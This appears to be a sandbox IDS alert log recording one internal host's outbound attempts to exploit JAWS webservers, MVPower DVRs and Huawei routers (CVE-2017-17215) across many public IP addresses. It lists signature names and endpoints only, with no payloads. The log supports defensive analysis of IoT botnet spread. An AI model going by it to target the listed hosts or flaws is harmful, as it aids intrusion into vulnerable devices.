03/13/24-09:36:07.246459	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53568	80	192.168.2.15	83.66.85.244
03/13/24-09:36:21.073169	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60022	80	192.168.2.15	40.85.178.219
03/13/24-09:36:41.681926	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58886	80	192.168.2.15	103.251.200.188
03/13/24-09:36:37.734104	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41290	80	192.168.2.15	150.60.193.244
03/13/24-09:36:26.223120	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55724	80	192.168.2.15	186.57.217.219
03/13/24-09:36:16.619267	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47620	80	192.168.2.15	196.29.227.165
03/13/24-09:35:49.407555	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34408	80	192.168.2.15	39.61.132.49
03/13/24-09:35:23.600278	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43978	80	192.168.2.15	104.76.140.52
03/13/24-09:36:21.254062	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46034	80	192.168.2.15	185.229.91.99
03/13/24-09:36:49.200958	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60032	80	192.168.2.15	41.63.160.172
03/13/24-09:36:26.223120	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55724	80	192.168.2.15	186.57.217.219
03/13/24-09:35:53.628334	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44798	80	192.168.2.15	139.59.99.156
03/13/24-09:35:49.168248	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36842	80	192.168.2.15	164.92.134.195
03/13/24-09:36:14.146923	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38076	80	192.168.2.15	34.90.194.115
03/13/24-09:36:24.199428	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60132	80	192.168.2.15	156.17.92.36
03/13/24-09:35:26.120913	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47818	80	192.168.2.15	185.15.192.254
03/13/24-09:36:21.254062	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46034	80	192.168.2.15	185.229.91.99
03/13/24-09:35:23.478162	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36192	80	192.168.2.15	161.35.186.210
03/13/24-09:36:23.796628	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39148	80	192.168.2.15	66.225.154.222
03/13/24-09:37:02.386333	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51224	80	192.168.2.15	204.11.60.74
03/13/24-09:36:51.118898	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49202	80	192.168.2.15	18.161.15.44
03/13/24-09:36:38.267068	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57568	80	192.168.2.15	185.187.46.180
03/13/24-09:36:49.214263	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51616	80	192.168.2.15	23.51.138.243
03/13/24-09:36:41.395137	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40854	80	192.168.2.15	154.49.138.200
03/13/24-09:35:27.801845	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45496	80	192.168.2.15	18.154.15.89
03/13/24-09:36:07.119768	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46804	80	192.168.2.15	97.107.136.97
03/13/24-09:35:27.801873	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55724	80	192.168.2.15	52.57.199.69
03/13/24-09:35:27.270642	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53960	80	192.168.2.15	156.235.228.92
03/13/24-09:35:48.816222	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52814	80	192.168.2.15	172.104.7.204
03/13/24-09:35:27.996333	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50638	80	192.168.2.15	52.6.35.159
03/13/24-09:36:49.270687	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54420	80	192.168.2.15	78.63.2.0
03/13/24-09:35:36.214194	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43030	80	192.168.2.15	46.250.251.167
03/13/24-09:36:27.829953	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41472	37215	192.168.2.15	156.235.107.22
03/13/24-09:35:23.591284	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47768	80	192.168.2.15	115.71.19.135
03/13/24-09:35:49.385754	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49296	80	192.168.2.15	13.113.48.164
03/13/24-09:36:31.635191	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41786	80	192.168.2.15	61.160.202.82
03/13/24-09:36:26.817197	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59760	80	192.168.2.15	123.60.161.245
03/13/24-09:36:35.190209	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36578	80	192.168.2.15	34.203.113.78
03/13/24-09:36:45.750110	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53868	80	192.168.2.15	23.109.170.102
03/13/24-09:35:28.516573	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48330	80	192.168.2.15	128.59.28.147
03/13/24-09:36:55.581578	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33906	80	192.168.2.15	159.192.227.190
03/13/24-09:35:41.293196	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58618	80	192.168.2.15	116.205.75.203
03/13/24-09:36:49.079918	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53770	80	192.168.2.15	109.61.93.34
03/13/24-09:35:26.120913	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47818	80	192.168.2.15	185.15.192.254
03/13/24-09:35:33.109491	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35040	80	192.168.2.15	118.89.68.235
03/13/24-09:36:56.467952	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33004	80	192.168.2.15	8.140.241.236
03/13/24-09:35:28.020397	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49646	80	192.168.2.15	34.126.229.54
03/13/24-09:36:20.437171	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45372	80	192.168.2.15	57.180.159.193
03/13/24-09:35:17.967721	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60834	80	192.168.2.15	104.21.27.15
03/13/24-09:36:17.075900	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37368	80	192.168.2.15	23.1.60.81
03/13/24-09:36:41.640276	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55998	80	192.168.2.15	34.81.41.163
03/13/24-09:36:37.734104	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41290	80	192.168.2.15	150.60.193.244
03/13/24-09:36:41.364188	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33740	80	192.168.2.15	35.186.249.253
03/13/24-09:35:48.888429	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43640	80	192.168.2.15	34.242.169.70
03/13/24-09:35:58.159217	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33460	80	192.168.2.15	4.249.186.195
03/13/24-09:36:26.104096	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59624	80	192.168.2.15	18.67.28.124
03/13/24-09:35:23.347505	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53880	80	192.168.2.15	204.116.176.183
03/13/24-09:35:49.413983	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37622	80	192.168.2.15	103.240.146.109
03/13/24-09:36:16.233636	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59258	80	192.168.2.15	52.17.238.114
03/13/24-09:36:16.217602	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48168	80	192.168.2.15	163.28.224.199
03/13/24-09:36:13.531005	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51798	80	192.168.2.15	154.197.69.111
03/13/24-09:36:49.229516	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47122	80	192.168.2.15	121.152.67.252
03/13/24-09:36:55.012342	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33842	80	192.168.2.15	198.251.113.173
03/13/24-09:36:06.605378	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60540	80	192.168.2.15	211.105.120.3
03/13/24-09:36:03.064430	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53456	80	192.168.2.15	217.182.218.160
03/13/24-09:35:56.238444	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47958	80	192.168.2.15	186.211.165.86
03/13/24-09:36:20.883792	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33112	80	192.168.2.15	137.117.70.192
03/13/24-09:36:45.949873	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34452	80	192.168.2.15	104.94.21.192
03/13/24-09:35:30.032681	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40234	80	192.168.2.15	52.222.178.99
03/13/24-09:35:22.569967	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59100	80	192.168.2.15	103.121.18.245
03/13/24-09:36:49.124578	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52346	80	192.168.2.15	152.0.241.23
03/13/24-09:36:14.146923	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38076	80	192.168.2.15	34.90.194.115
03/13/24-09:35:03.983957	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58432	80	192.168.2.15	37.16.12.162
03/13/24-09:35:48.996592	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41254	80	192.168.2.15	104.16.13.138
03/13/24-09:36:29.222483	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60564	80	192.168.2.15	104.86.53.229
03/13/24-09:36:35.171608	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54432	80	192.168.2.15	35.241.6.69
03/13/24-09:36:41.892389	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55446	80	192.168.2.15	146.56.253.174
03/13/24-09:36:49.418306	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53428	80	192.168.2.15	154.201.66.244
03/13/24-09:35:27.801873	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55724	80	192.168.2.15	52.57.199.69
03/13/24-09:36:38.105875	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57514	80	192.168.2.15	52.227.231.156
03/13/24-09:36:12.608472	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50760	80	192.168.2.15	90.244.188.177
03/13/24-09:36:11.709846	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46954	80	192.168.2.15	194.195.127.71
03/13/24-09:36:16.001050	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41120	80	192.168.2.15	34.205.241.155
03/13/24-09:36:37.554782	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42804	80	192.168.2.15	66.108.248.184
03/13/24-09:36:45.822227	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59450	80	192.168.2.15	179.233.80.189
03/13/24-09:35:02.898597	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52734	80	192.168.2.15	184.85.86.34
03/13/24-09:36:41.349114	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57062	80	192.168.2.15	43.251.157.77
03/13/24-09:36:45.946887	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58670	80	192.168.2.15	52.59.14.79
03/13/24-09:35:59.098483	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41682	80	192.168.2.15	142.58.28.135
03/13/24-09:36:23.891635	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60504	80	192.168.2.15	187.103.57.101
03/13/24-09:35:28.516573	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48330	80	192.168.2.15	128.59.28.147
03/13/24-09:35:53.152604	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35320	80	192.168.2.15	140.248.140.53
03/13/24-09:36:20.286319	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47598	80	192.168.2.15	23.208.190.247
03/13/24-09:36:45.778288	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37330	80	192.168.2.15	170.80.156.128
03/13/24-09:36:45.949873	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34452	80	192.168.2.15	104.94.21.192
03/13/24-09:36:49.079918	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53770	80	192.168.2.15	109.61.93.34
03/13/24-09:35:53.301963	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55944	80	192.168.2.15	67.199.102.71
03/13/24-09:36:16.700991	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58982	80	192.168.2.15	120.96.79.253
03/13/24-09:35:49.385754	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49296	80	192.168.2.15	13.113.48.164
03/13/24-09:36:17.075900	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37368	80	192.168.2.15	23.1.60.81
03/13/24-09:35:42.086628	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51034	80	192.168.2.15	34.212.43.112
03/13/24-09:35:51.547302	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47608	80	192.168.2.15	124.223.47.85
03/13/24-09:35:26.283404	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52516	80	192.168.2.15	184.27.103.186
03/13/24-09:35:30.059951	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33632	80	192.168.2.15	83.99.176.150
03/13/24-09:36:45.750110	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53868	80	192.168.2.15	23.109.170.102
03/13/24-09:36:16.233636	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59258	80	192.168.2.15	52.17.238.114
03/13/24-09:35:17.967721	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60834	80	192.168.2.15	104.21.27.15
03/13/24-09:35:58.289021	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48644	80	192.168.2.15	194.135.104.214
03/13/24-09:36:03.598746	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38756	80	192.168.2.15	112.90.88.154
03/13/24-09:36:26.235282	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35536	80	192.168.2.15	23.38.201.46
03/13/24-09:36:29.264359	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44452	80	192.168.2.15	87.236.19.186
03/13/24-09:36:41.640276	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55998	80	192.168.2.15	34.81.41.163
03/13/24-09:36:06.161937	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34266	80	192.168.2.15	18.160.166.46
03/13/24-09:35:03.983957	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58432	80	192.168.2.15	37.16.12.162
03/13/24-09:36:20.437171	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45372	80	192.168.2.15	57.180.159.193
03/13/24-09:36:20.883792	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33112	80	192.168.2.15	137.117.70.192
03/13/24-09:35:26.252020	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48806	80	192.168.2.15	154.212.209.149
03/13/24-09:36:55.479394	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34902	80	192.168.2.15	23.207.25.72
03/13/24-09:35:30.032681	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40234	80	192.168.2.15	52.222.178.99
03/13/24-09:35:42.086628	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51034	80	192.168.2.15	34.212.43.112
03/13/24-09:36:55.581578	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33906	80	192.168.2.15	159.192.227.190
03/13/24-09:36:41.349114	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57062	80	192.168.2.15	43.251.157.77
03/13/24-09:36:49.124578	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52346	80	192.168.2.15	152.0.241.23
03/13/24-09:36:12.499031	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60620	37215	192.168.2.15	156.224.11.234
03/13/24-09:36:16.069653	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41842	80	192.168.2.15	51.158.200.225
03/13/24-09:36:37.769147	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50160	80	192.168.2.15	47.254.199.123
03/13/24-09:36:29.419922	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54234	80	192.168.2.15	179.57.172.65
03/13/24-09:35:48.906126	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45276	80	192.168.2.15	104.23.101.28
03/13/24-09:35:56.238444	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47958	80	192.168.2.15	186.211.165.86
03/13/24-09:36:31.635191	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41786	80	192.168.2.15	61.160.202.82
03/13/24-09:36:48.530022	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47130	80	192.168.2.15	121.152.67.252
03/13/24-09:36:29.222483	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60564	80	192.168.2.15	104.86.53.229
03/13/24-09:36:23.862209	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35752	80	192.168.2.15	38.25.44.98
03/13/24-09:36:03.388630	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59128	80	192.168.2.15	156.245.113.68
03/13/24-09:35:22.569967	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59100	80	192.168.2.15	103.121.18.245
03/13/24-09:36:21.206301	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53224	80	192.168.2.15	108.232.5.11
03/13/24-09:36:37.554782	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42804	80	192.168.2.15	66.108.248.184
03/13/24-09:36:38.339928	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53214	80	192.168.2.15	52.79.35.188
03/13/24-09:36:03.064430	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53456	80	192.168.2.15	217.182.218.160
03/13/24-09:35:20.221016	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58596	80	192.168.2.15	103.101.153.183
03/13/24-09:35:14.755935	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37710	80	192.168.2.15	34.197.77.7
03/13/24-09:36:23.835744	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34520	80	192.168.2.15	104.140.93.140
03/13/24-09:36:49.229516	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47122	80	192.168.2.15	121.152.67.252
03/13/24-09:36:55.393920	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52544	80	192.168.2.15	218.90.121.169
03/13/24-09:36:03.598746	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38756	80	192.168.2.15	112.90.88.154
03/13/24-09:36:06.161937	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34266	80	192.168.2.15	18.160.166.46
03/13/24-09:36:16.069653	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41842	80	192.168.2.15	51.158.200.225
03/13/24-09:36:02.736882	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59220	80	192.168.2.15	65.9.69.92
03/13/24-09:36:06.605378	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60540	80	192.168.2.15	211.105.120.3
03/13/24-09:36:06.238033	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60220	80	192.168.2.15	54.86.191.6
03/13/24-09:36:23.995523	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52552	80	192.168.2.15	170.75.210.35
03/13/24-09:36:45.778288	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37330	80	192.168.2.15	170.80.156.128
03/13/24-09:36:07.415525	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47762	80	192.168.2.15	62.234.239.110
03/13/24-09:36:46.016739	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39392	80	192.168.2.15	188.217.114.71
03/13/24-09:35:58.159217	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33460	80	192.168.2.15	4.249.186.195
03/13/24-09:35:58.289021	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48644	80	192.168.2.15	194.135.104.214
03/13/24-09:35:41.293196	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58618	80	192.168.2.15	116.205.75.203
03/13/24-09:36:38.184058	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53550	80	192.168.2.15	34.197.97.121
03/13/24-09:36:06.170953	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57032	80	192.168.2.15	207.231.46.96
03/13/24-09:35:27.990115	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58730	80	192.168.2.15	23.205.52.170
03/13/24-09:36:12.612824	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48888	80	192.168.2.15	138.201.139.232
03/13/24-09:35:53.152604	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35320	80	192.168.2.15	140.248.140.53
03/13/24-09:35:53.301963	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55944	80	192.168.2.15	67.199.102.71
03/13/24-09:35:45.372522	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57820	80	192.168.2.15	51.171.238.86
03/13/24-09:35:58.188242	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34504	80	192.168.2.15	207.194.62.174
03/13/24-09:36:42.119848	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55708	80	192.168.2.15	198.72.103.62
03/13/24-09:35:26.283404	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52516	80	192.168.2.15	184.27.103.186
03/13/24-09:36:56.464989	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39150	80	192.168.2.15	27.96.211.16
03/13/24-09:36:12.921946	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54982	80	192.168.2.15	124.156.145.146
03/13/24-09:35:26.252020	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48806	80	192.168.2.15	154.212.209.149
03/13/24-09:36:41.394142	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54002	80	192.168.2.15	104.116.252.180
03/13/24-09:36:51.109520	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39038	80	192.168.2.15	45.32.242.182
03/13/24-09:36:55.393920	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52544	80	192.168.2.15	218.90.121.169
03/13/24-09:35:48.906126	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45276	80	192.168.2.15	104.23.101.28
03/13/24-09:35:03.425144	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60192	80	192.168.2.15	92.117.151.104
03/13/24-09:35:38.175079	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34812	80	192.168.2.15	37.53.56.73
03/13/24-09:35:53.367183	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38884	37215	192.168.2.15	156.254.90.169
03/13/24-09:35:26.045958	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38024	80	192.168.2.15	20.242.39.121
03/13/24-09:35:14.766475	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51272	80	192.168.2.15	23.32.127.47
03/13/24-09:36:35.280223	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53750	80	192.168.2.15	34.204.240.54
03/13/24-09:36:38.105875	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57514	80	192.168.2.15	52.227.231.156
03/13/24-09:36:48.525118	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47100	80	192.168.2.15	217.239.255.141
03/13/24-09:36:55.479394	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34902	80	192.168.2.15	23.207.25.72
03/13/24-09:36:49.418306	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53428	80	192.168.2.15	154.201.66.244
03/13/24-09:36:03.388630	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59128	80	192.168.2.15	156.245.113.68
03/13/24-09:36:59.171759	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44636	80	192.168.2.15	172.232.72.5
03/13/24-09:35:23.347505	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53880	80	192.168.2.15	204.116.176.183
03/13/24-09:35:49.413983	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37622	80	192.168.2.15	103.240.146.109
03/13/24-09:36:41.234949	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57064	80	192.168.2.15	104.27.121.82
03/13/24-09:35:56.221083	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42206	80	192.168.2.15	46.36.222.144
03/13/24-09:36:21.206301	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53224	80	192.168.2.15	108.232.5.11
03/13/24-09:35:45.372522	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57820	80	192.168.2.15	51.171.238.86
03/13/24-09:36:32.211904	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52780	80	192.168.2.15	185.59.228.91
03/13/24-09:35:28.020397	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49646	80	192.168.2.15	34.126.229.54
03/13/24-09:35:23.386030	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57492	80	192.168.2.15	52.0.203.213
03/13/24-09:36:12.921946	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54982	80	192.168.2.15	124.156.145.146
03/13/24-09:36:48.525118	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47100	80	192.168.2.15	217.239.255.141
03/13/24-09:36:42.119848	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55708	80	192.168.2.15	198.72.103.62
03/13/24-09:36:56.464989	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39150	80	192.168.2.15	27.96.211.16
03/13/24-09:35:35.940035	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44662	80	192.168.2.15	184.27.253.172
03/13/24-09:35:53.060125	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50684	80	192.168.2.15	50.2.159.150
03/13/24-09:36:51.109520	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39038	80	192.168.2.15	45.32.242.182
03/13/24-09:36:07.415525	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47762	80	192.168.2.15	62.234.239.110
03/13/24-09:35:26.114557	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41544	80	192.168.2.15	194.75.225.189
03/13/24-09:35:35.707702	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42166	80	192.168.2.15	20.85.85.62
03/13/24-09:36:41.394142	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54002	80	192.168.2.15	104.116.252.180
03/13/24-09:36:45.946887	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58670	80	192.168.2.15	52.59.14.79
03/13/24-09:36:42.291485	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51170	80	192.168.2.15	23.64.51.44
03/13/24-09:35:22.930889	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58264	80	192.168.2.15	119.45.178.155
